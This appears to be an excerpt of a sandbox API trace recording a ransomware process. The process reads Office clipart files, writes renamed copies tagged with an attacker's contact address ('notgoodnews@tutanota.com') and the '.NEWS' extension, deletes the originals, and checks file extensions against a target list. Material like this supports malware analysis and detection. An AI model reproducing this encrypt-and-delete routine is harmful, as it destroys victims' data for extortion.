lstrlenW (lpString="AN02559_.WMF") returned 12 [0239.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0240.628] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=6632) returned 1 [0240.628] CloseHandle (hObject=0x3ac) returned 1 [0240.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 0x20 [0240.629] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0240.629] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.630] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0240.666] GetLastError () returned 0x0 [0240.666] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x19e8, lpOverlapped=0x0) returned 1 [0240.703] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0240.706] ReadFile (in: hFile=0x3ac, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.706] WriteFile (in: hFile=0x324, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.706] SetEndOfFile (hFile=0x324) returned 1 [0240.707] CloseHandle (hObject=0x324) returned 1 [0240.707] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.707] SetEndOfFile (hFile=0x3ac) returned 1 [0240.714] CloseHandle (hObject=0x3ac) returned 1 [0240.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.751] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0240.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.752] lstrlenW (lpString=".doc") returned 4 [0240.752] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.752] lstrlenW (lpString=".docx") returned 5 [0240.752] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.752] lstrlenW (lpString=".pdf") returned 4 [0240.752] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.752] lstrlenW (lpString=".xls") returned 4 [0240.752] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.753] lstrlenW (lpString=".xlsx") returned 5 [0240.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.753] lstrlenW (lpString=".ppt") returned 4 [0240.753] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.753] lstrlenW (lpString=".zip") returned 4 [0240.753] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.753] lstrlenW (lpString=".rar") returned 4 [0240.753] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString=".bz2") returned 4 [0240.753] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.753] lstrlenW (lpString=".7z") returned 3 [0240.753] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.754] lstrlenW (lpString=".dbf") returned 4 [0240.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.754] lstrlenW (lpString=".1cd") returned 4 [0240.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.754] lstrlenW (lpString=".jpg") returned 4 [0240.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.755] lstrlenW (lpString=".doc") returned 4 [0240.755] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0240.755] lstrlenW (lpString=".docx") returned 5 [0240.755] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0240.755] lstrlenW (lpString=".pdf") returned 4 [0240.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0240.755] lstrlenW (lpString=".xls") returned 4 [0240.755] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0240.755] lstrlenW (lpString=".xlsx") returned 5 [0240.755] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0240.755] lstrlenW (lpString=".ppt") returned 4 [0240.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0240.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.756] lstrlenW (lpString=".zip") returned 4 [0240.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0240.756] lstrlenW (lpString=".rar") returned 4 [0240.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0240.756] lstrlenW (lpString=".bz2") returned 4 [0240.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0240.756] lstrlenW (lpString=".7z") returned 3 [0240.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0240.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.756] lstrlenW (lpString=".dbf") returned 4 [0240.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0240.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.757] lstrlenW (lpString=".1cd") returned 4 [0240.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0240.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0240.757] lstrlenW (lpString=".jpg") returned 4 [0240.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0240.757] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0240.757] lstrlenW (lpString="AN04134_.WMF") returned 12 [0240.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.758] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=3416) returned 1 [0240.758] CloseHandle (hObject=0x388) returned 1 [0240.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0240.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.760] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.760] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0240.760] GetLastError () returned 0x0 [0240.760] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0xd58, lpOverlapped=0x0) returned 1 [0241.454] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0241.457] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.457] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.457] SetEndOfFile (hFile=0x3ac) returned 1 [0241.457] CloseHandle (hObject=0x3ac) returned 1 [0241.458] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.458] SetEndOfFile (hFile=0x388) returned 1 [0241.469] CloseHandle (hObject=0x388) returned 1 [0241.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0241.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0241.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.479] lstrlenW (lpString=".doc") returned 4 [0241.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString=".docx") returned 5 [0241.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.479] lstrlenW (lpString=".pdf") returned 4 [0241.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.479] lstrlenW (lpString=".xls") returned 4 [0241.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.479] lstrlenW (lpString=".xlsx") returned 5 [0241.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.480] lstrlenW (lpString=".ppt") returned 4 [0241.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.480] lstrlenW (lpString=".zip") returned 4 [0241.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.480] lstrlenW (lpString=".rar") returned 4 [0241.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.480] lstrlenW (lpString=".bz2") returned 4 [0241.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.480] lstrlenW (lpString=".7z") returned 3 [0241.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.481] lstrlenW (lpString=".dbf") returned 4 [0241.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.481] lstrlenW (lpString=".1cd") returned 4 [0241.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.481] lstrlenW (lpString=".jpg") returned 4 [0241.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.482] lstrlenW (lpString=".doc") returned 4 [0241.482] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0241.482] lstrlenW (lpString=".docx") returned 5 [0241.482] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0241.482] lstrlenW (lpString=".pdf") returned 4 [0241.482] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0241.482] lstrlenW (lpString=".xls") returned 4 [0241.482] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0241.482] lstrlenW (lpString=".xlsx") returned 5 [0241.482] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0241.482] lstrlenW (lpString=".ppt") returned 4 [0241.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0241.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.483] lstrlenW (lpString=".zip") returned 4 [0241.483] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0241.483] lstrlenW (lpString=".rar") returned 4 [0241.483] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0241.483] lstrlenW (lpString=".bz2") returned 4 [0241.483] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0241.484] lstrlenW (lpString=".7z") returned 3 [0241.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0241.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.484] lstrlenW (lpString=".dbf") returned 4 [0241.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0241.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.484] lstrlenW (lpString=".1cd") returned 4 [0241.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0241.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0241.484] lstrlenW (lpString=".jpg") returned 4 [0241.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0241.485] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0241.485] lstrlenW (lpString="AN04191_.WMF") returned 12 [0241.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.486] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=6636) returned 1 [0241.486] CloseHandle (hObject=0x388) returned 1 [0241.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0241.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0241.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.487] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.488] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0241.489] GetLastError () returned 0x0 [0241.489] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x19ec, lpOverlapped=0x0) returned 1 [0241.531] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0241.534] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x342fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x342fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.534] WriteFile (in: hFile=0x3ac, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x342fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x342fc9c*=0xec, lpOverlapped=0x0) returned 1 [0241.534] SetEndOfFile (hFile=0x3ac) returned 1 [0241.535] CloseHandle (hObject=0x3ac) returned 1 [0241.535] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x342fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.535] SetEndOfFile (hFile=0x388) returned 1 [0241.960] CloseHandle (hObject=0x388) returned 1 [0241.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.032] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 1 [0242.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.348] lstrlenW (lpString=".doc") returned 4 [0242.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.349] lstrlenW (lpString=".docx") returned 5 [0242.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.349] lstrlenW (lpString=".pdf") returned 4 [0242.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.349] lstrlenW (lpString=".xls") returned 4 [0242.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.349] lstrlenW (lpString=".xlsx") returned 5 [0242.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.349] lstrlenW (lpString=".ppt") returned 4 [0242.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.349] lstrlenW (lpString=".zip") returned 4 [0242.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.350] lstrlenW (lpString=".rar") returned 4 [0242.350] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.350] lstrlenW (lpString=".bz2") returned 4 [0242.350] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.350] lstrlenW (lpString=".7z") returned 3 [0242.350] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.350] lstrlenW (lpString=".dbf") returned 4 [0242.350] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.350] lstrlenW (lpString=".1cd") returned 4 [0242.350] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.350] lstrlenW (lpString=".jpg") returned 4 [0242.350] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.351] lstrlenW (lpString=".doc") returned 4 [0242.351] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString=".docx") returned 5 [0242.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0242.351] lstrlenW (lpString=".pdf") returned 4 [0242.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.351] lstrlenW (lpString=".xls") returned 4 [0242.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.351] lstrlenW (lpString=".xlsx") returned 5 [0242.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0242.351] lstrlenW (lpString=".ppt") returned 4 [0242.352] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.352] lstrlenW (lpString=".zip") returned 4 [0242.352] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.352] lstrlenW (lpString=".rar") returned 4 [0242.352] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString=".bz2") returned 4 [0242.352] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.352] lstrlenW (lpString=".7z") returned 3 [0242.352] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.352] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.352] lstrlenW (lpString=".dbf") returned 4 [0242.353] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.353] lstrlenW (lpString=".1cd") returned 4 [0242.353] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.353] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF") returned 63 [0242.353] lstrlenW (lpString=".jpg") returned 4 [0242.353] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.353] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0242.354] lstrlenW (lpString="AN04267_.WMF") returned 12 [0242.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0242.372] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=7804) returned 1 [0242.372] CloseHandle (hObject=0x304) returned 1 [0242.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf")) returned 0x20 